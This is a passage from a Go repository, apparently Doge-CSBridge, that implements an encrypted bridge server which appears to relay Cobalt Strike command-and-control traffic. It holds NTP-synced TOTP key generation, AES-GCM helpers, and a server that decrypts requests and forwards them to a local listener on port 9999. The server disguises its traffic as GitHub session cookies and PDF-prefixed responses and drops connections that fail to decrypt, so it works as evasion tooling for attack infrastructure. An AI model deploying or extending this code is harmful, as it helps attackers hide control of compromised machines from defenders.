1, 0, 0, 0, 0, time.UTC),err 129 | } 130 | _ = sock.SetDeadline(time.Now().Add(2 * time.Second)) 131 | defer func() { _ = sock.Close() }() 132 | ntp_transmit := new(ntp_struct) 133 | ntp_transmit.FirstByte = 0x1b 134 | 135 | _ = binary.Write(sock, binary.BigEndian, ntp_transmit) 136 | _ = binary.Read(sock, binary.BigEndian, ntp_transmit) 137 | return time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration((ntp_transmit.ReceiveTime >> 32) * 1000000000)),nil 138 | } 139 | 140 | 141 | func getotp() string { 142 | for _,i := range addrs{ 143 | firstTime,err = getNTPTime(i) 144 | if err == nil{ 145 | break 146 | } 147 | } 148 | 149 | // secret最好持久化保存在 150 | // 验证,动态码(从谷歌验证器获取或者freeotp获取) 151 | code,_ := NewGoogleAuth().GetCode(string(secret)) 152 | 153 | return code 154 | } 155 | 156 | -------------------------------------------------------------------------------- /server/cipher.go: -------------------------------------------------------------------------------- 1 | 2 | package main 3 | 4 | import ( 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "crypto/sha256" 9 | "io" 10 | ) 11 | 12 | 13 | 14 | func Sha256(data []byte)[]byte{ 15 | digest:=sha256.New() 16 | digest.Write(data) 17 | return digest.Sum(nil) 18 | } 19 | 20 | 21 | func encrypt(plaintext []byte, key []byte)(cipherText []byte,err2 error){ 22 | 23 | // The key should be 16 bytes (AES-128), 24 bytes (AES-192) or 24 | // 32 bytes (AES-256) 25 | key = Sha256(key) 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | //log.Panic(err) 29 | return nil, err 30 | } 31 | 32 | gcm, err := cipher.NewGCM(block) 33 | if err != nil { 34 | //log.Panic(err) 35 | return nil, err 36 | } 37 | 38 | // Never use more than 2^32 random nonces with a given key 39 | // because of the risk of repeat. 40 | nonce := make([]byte, gcm.NonceSize()) 41 | if _, err := io.ReadFull(rand.Reader, nonce); err != nil { 42 | //log.Fatal(err) 43 | return nil, err 44 | } 45 | 46 | ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) 47 | return ciphertext,nil 48 | } 49 | 50 | 51 | 52 | func decrypt(ciphertext []byte, key []byte)(rawText []byte,err2 error){ 53 | key = Sha256(key) 54 | block, err := aes.NewCipher(key) 55 | if err != nil { 56 | //log.Panic(err) 57 | return nil, err 58 | } 59 | 60 | gcm, err := cipher.NewGCM(block) 61 | if err != nil { 62 | //log.Panic(err) 63 | return nil, err 64 | } 65 | nonce := ciphertext[:gcm.NonceSize()] 66 | ciphertext = ciphertext[gcm.NonceSize():] 67 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 68 | if err != nil { 69 | //log.Panic(err) 70 | return nil, err 71 | } 72 | 73 | //err = ioutil.WriteFile("plaintext.exe", plaintext, 0777) 74 | //if err != nil { 75 | // log.Panic(err) 76 | //} 77 | 78 | return plaintext,nil 79 | } -------------------------------------------------------------------------------- /server/go.mod: -------------------------------------------------------------------------------- 1 | module server 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /server/otp.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/hmac" 6 | "crypto/sha1" 7 | "encoding/base32" 8 | "encoding/binary" 9 | "fmt" 10 | //"io" 11 | "net" 12 | "strings" 13 | "time" 14 | ) 15 | 16 | var firstTime time.Time 17 | 18 | type GoogleAuth struct { 19 | } 20 | 21 | func NewGoogleAuth() *GoogleAuth { 22 | return &GoogleAuth{} 23 | } 24 | 25 | func (this *GoogleAuth) un() int64 { 26 | return firstTime.UnixNano() / 1000 / 30 27 | } 28 | 29 | func (this *GoogleAuth) hmacSha1(key, data []byte) []byte { 30 | h := hmac.New(sha1.New, key) 31 | if total := len(data); total > 0 { 32 | h.Write(data) 33 | } 34 | return h.Sum(nil) 35 | } 36 | 37 | func (this *GoogleAuth) base32encode(src []byte) string { 38 | return base32.StdEncoding.EncodeToString(src) 39 | } 40 | 41 | func (this *GoogleAuth) base32decode(s string) ([]byte, error) { 42 | return base32.StdEncoding.DecodeString(s) 43 | } 44 | 45 | func (this *GoogleAuth) toBytes(value int64) []byte { 46 | var result []byte 47 | mask := int64(0xFF) 48 | shifts := [8]uint16{56, 48, 40, 32, 24, 16, 8, 0} 49 | for _, shift := range shifts { 50 | result = append(result, byte((value>>shift)&mask)) 51 | } 52 | return result 53 | } 54 | 55 | func (this *GoogleAuth) toUint32(bts []byte) uint32 { 56 | return (uint32(bts[0]) << 24) + (uint32(bts[1]) << 16) + 57 | (uint32(bts[2]) << 8) + uint32(bts[3]) 58 | } 59 | 60 | func (this *GoogleAuth) oneTimePassword(key []byte, data []byte) uint32 { 61 | hash := this.hmacSha1(key, data) 62 | offset := hash[len(hash)-1] & 0x0F 63 | hashParts := hash[offset : offset+4] 64 | hashParts[0] = hashParts[0] & 0x7F 65 | number := this.toUint32(hashParts) 66 | return number % 1000000 67 | } 68 | 69 | // 获取秘钥 70 | func (this *GoogleAuth) GetSecret() string { 71 | var buf bytes.Buffer 72 | binary.Write(&buf, binary.BigEndian, this.un()) 73 | return strings.ToUpper(this.base32encode(this.hmacSha1(buf.Bytes(), nil))) 74 | } 75 | 76 | // 获取动态码 77 | func (this *GoogleAuth) GetCode(secret string) (string, error) { 78 | secretUpper := strings.ToUpper(secret) 79 | secretKey, err := this.base32decode(secretUpper) 80 | if err != nil { 81 | return "", err 82 | } 83 | number := this.oneTimePassword(secretKey, this.toBytes(firstTime.Unix()/30)) 84 | return fmt.Sprintf("%06d", number), nil 85 | 86 | } 87 | 88 | // 获取动态码二维码内容 89 | func (this *GoogleAuth) GetQrcode(user, secret string) string { 90 | return fmt.Sprintf("otpauth://totp/%s?secret=%s", user, secret) 91 | } 92 | 93 | // 验证动态码 94 | func (this *GoogleAuth) VerifyCode(secret, code string) (bool, error) { 95 | _code, err := this.GetCode(secret) 96 | fmt.Println(_code, code) 97 | if err != nil { 98 | return false, err 99 | } 100 | return _code == code, nil 101 | } 102 | 103 | var err error 104 | 105 | type ntp_struct struct { 106 | FirstByte, A, B, C uint8 107 | D, E, F uint32 108 | G, H uint64 109 | ReceiveTime uint64 110 | J uint64 111 | } 112 | 113 | var addrs = []string{ 114 | "ntp.aliyun.com:123", 115 | "cn.ntp.org.cn:123", 116 | "time.asia.apple.com:123", 117 | "ntp.neu.edu.cn:123", 118 | "time1.cloud.tencent.com:123", 119 | "ntp1.aliyun.com:123", 120 | "time3.cloud.tencent.com:123", 121 | "ntp4.aliyun.com:123", 122 | } 123 | 124 | func getNTPTime(addr string) (time.Time,error) { 125 | // "ntp1.aliyun.com:123" "cn.ntp.org.cn:123" 126 | sock, _ := net.Dial("udp", addr) 127 | if sock == nil { 128 | return time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC),err 129 | } 130 | _ = sock.SetDeadline(time.Now().Add(2 * time.Second)) 131 | defer func() { _ = sock.Close() }() 132 | ntp_transmit := new(ntp_struct) 133 | ntp_transmit.FirstByte = 0x1b 134 | 135 | _ = binary.Write(sock, binary.BigEndian, ntp_transmit) 136 | _ = binary.Read(sock, binary.BigEndian, ntp_transmit) 137 | return time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration((ntp_transmit.ReceiveTime >> 32) * 1000000000)),nil 138 | } 139 | 140 | 141 | func getotp() string { 142 | for _,i := range addrs{ 143 | firstTime,err = getNTPTime(i) 144 | if err == nil{ 145 | break 146 | } 147 | } 148 | 149 | // secret最好持久化保存在 150 | // 验证,动态码(从谷歌验证器获取或者freeotp获取) 151 | code,_ := NewGoogleAuth().GetCode(string(secret)) 152 | 153 | return code 154 | } 155 | 156 | -------------------------------------------------------------------------------- /server/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/timwhitez/Doge-CSBridge/fbd0e46eebff19ec13e43fc6e165dfc7695590f7/server/server -------------------------------------------------------------------------------- /server/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/base64" 6 | "fmt" 7 | "io" 8 | "io/ioutil" 9 | "log" 10 | "net/http" 11 | "net/url" 12 | "strings" 13 | ) 14 | 15 | var secret,_ = base64.StdEncoding.DecodeString("Nlc2SUNTTUFRVElBTENVSTcySFQ0R0tXR1NCUVNNQ0U=") 16 | 17 | // w表示response对象,返回给客户端的内容都在对象里处理 18 | // r表示客户端请求对象,包含了请求头,请求参数等等 19 | func index(w http.ResponseWriter, r *http.Request) { 20 | otp := []byte(getotp()) 21 | body, _ := ioutil.ReadAll(r.Body) 22 | fmt.Println("encBody: "+string(body)) 23 | body,_ = base64.StdEncoding.DecodeString(string(body)[12:]) 24 | plaintext,err := decrypt(body,otp) 25 | if err == nil { 26 | fmt.Println("rawBody: "+string(plaintext)) 27 | fmt.Println("encURI: "+r.RequestURI[1:]) 28 | uris,_ := base64.RawURLEncoding.DecodeString(r.RequestURI[1:]) 29 | uri,err := decrypt(uris,otp) 30 | if err == nil { 31 | fmt.Println("rawURI: "+string(uri)) 32 | fmt.Println("Method: "+r.Method) 33 | newReq, _ := http.NewRequest(r.Method, "http://127.0.0.1:9999/"+string(uri), strings.NewReader(string(plaintext))) 34 | newReq.URL, _ = url.Parse("http://127.0.0.1:9999/" + string(uri)) 35 | newReq.Body = io.NopCloser(strings.NewReader(string(plaintext))) 36 | newReq.Header = r.Header 37 | 38 | encCookie := strings.Split(r.Header.Get("Cookie"),"tz=America%2FLos_Angeles; _gh_sess=")[1] 39 | fmt.Println("encCookie: tz=America%2FLos_Angeles; _gh_sess=" + encCookie) 40 | 41 | encCookieByte,_ := base64.RawURLEncoding.DecodeString(encCookie) 42 | rawCookie,_ := decrypt(encCookieByte,otp) 43 | fmt.Println("rawCookie: " + string(rawCookie)) 44 | newReq.Header.Set("Cookie", string(rawCookie)) 45 | 46 | tr := &http.Transport{ 47 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 48 | } 49 | client := &http.Client{Transport: tr, 50 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 51 | return http.ErrUseLastResponse 52 | }} 53 | 54 | resp, _ := client.Do(newReq) 55 | fmt.Println(resp.Status) 56 | body, _ = ioutil.ReadAll(resp.Body) 57 | fmt.Println("rawResp: "+string(body)) 58 | 59 | encResp,_ := encrypt(body,[]byte(getotp())) 60 | encRespstr := "%25PDF-1.7+ " + base64.StdEncoding.EncodeToString(encResp) 61 | fmt.Println("encResp: "+encRespstr + "\n\n") 62 | // 往w里写入内容,就会在浏览器里输出 63 | //fmt.Fprintf(w, encRespstr) 64 | io.WriteString(w, encRespstr) 65 | } 66 | }else{ 67 | flushBody(w) // 立即flush并断开连接 68 | } 69 | } 70 | 71 | func main() { 72 | // 设置路由,如果访问/,则调用index方法 73 | http.HandleFunc("/", index) 74 | 75 | // 启动web服务,监听9090端口 76 | err := http.ListenAndServe(":9090", nil) 77 | if err != nil { 78 | log.Fatal("ListenAndServe: ", err) 79 | } 80 | } 81 | 82 | 83 | func flushBody(w http.ResponseWriter) bool { 84 | if f, ok := w.(http.Flusher); ok { 85 | f.Flush() 86 | if hj, ok := w.(http.Hijacker); ok { // 从ResponseWriter获取链接控制权 87 | if conn, _, err := hj.Hijack(); err == nil { 88 | if err := conn.Close(); err == nil { 89 | return true 90 | } 91 | } 92 | } 93 | } 94 | return false 95 | } --------------------------------------------------------------------------------